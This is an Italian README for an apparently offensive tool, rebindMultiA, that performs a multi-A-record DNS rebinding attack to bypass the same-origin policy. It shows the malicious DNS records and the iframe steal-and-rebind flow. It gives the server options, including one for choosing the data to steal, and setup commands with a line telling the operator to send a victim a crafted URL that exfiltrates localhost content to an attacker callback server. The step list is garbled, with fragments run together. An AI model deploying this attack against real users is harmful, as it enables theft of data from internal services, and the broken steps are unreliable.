
Strumento di attacco DNS rebinding che sfrutta molteplici record A per bypassare la same-origin policy ed esfiltrare dati dai servizi di rete interna tramite il comportamento di fallback del browser.
rebindMultiA è uno strumento per eseguire un attacco di rebind con record A multipli.
rebindmultia.com è un dominio che ho impostato per assistere in questi attacchi. Rende ogni IP il proprio nameserver autoritativo per il dominio [IP].ns.rebindmultia.com. Ad esempio, 13.33.33.37.ns.rebindmultia.com ha come nameserver autoritativo 13.33.33.37.ip.rebindmultia.com che risolve (come avrai immaginato) in 13.33.33.37.
L'attacco MultiA Record Rebind è una variante del DNS Rebinding che sfrutta la capacità dell'attaccante di rispondere con due indirizzi IP a una richiesta DNS e la tendenza del browser a ripiegare sul secondo IP nella risposta DNS quando il primo non risponde. In questo attacco, l'attaccante configura un server DNS malevolo e due server HTTP malevoli. Il server DNS risponderà con due record A:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
Il browser della vittima si collegherà quindi al primo IP e inizierà a interagire con il primo server HTTP malevolo dell'attaccante. Questo server risponderà con una pagina che contiene due iframe, uno per /steal e uno per /rebind. L'iframe /steal caricherà una pagina malevola per accedere al secondo iframe e rubare il contenuto. L'endpoint /rebind, quando viene colpito, emetterà un reindirizzamento 302 a / e ucciderà il primo server HTTP malevolo. Di conseguenza, quando il browser raggiunge nuovamente il server HTTP dell'attaccante, troverà una porta chiusa. Pertanto, ripiegherà sul secondo IP. Una volta che il contenuto target è stato caricato nel secondo iframe, il primo iframe può accedervi, rubare i dati ed esiltrarli al secondo server HTTP malevolo dell'attaccante, il server di callback.
Questo attacco funziona solo in ambiente Windows. Linux e Mac utilizzeranno per impostazione predefinita l'IP privato per primo e il server dell'attaccante non verrà mai interrogato.

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com.server.py) analizza il nome DNS richiesto e restituisce due record A: 13.33.33.37 e 127.0.0.1.server.py) e carica la pagina /parent che contiene due iframe./steal dal server HTTP malevolo dell'attaccante./rebind che produce un reindirizzamento 302 a / (il server HTTP terminerà dopo questa richiesta)./ in base al 302 del server dell'attaccante./ dal server HTTP dell'attaccante (ora morto), ma fallisce.pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
Se ricevi questo errore:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
Allora devi usare una versione più recente di Python. Python 3.7+.
Questo deve essere eseguito da un IP pubblicamente accessibile.
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Invia la tua vittima a http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent per esfiltrare 127.0.0.1"
sudo python3 server.py
127.0.0.1. Quindi contatta quel server e carica la pagina nell'iframe.steal dell'attaccante accede al secondo iframe appena caricato e ne ruba il contenuto.steal dell'attaccante invia quindi i risultati al server di callback dell'attaccante.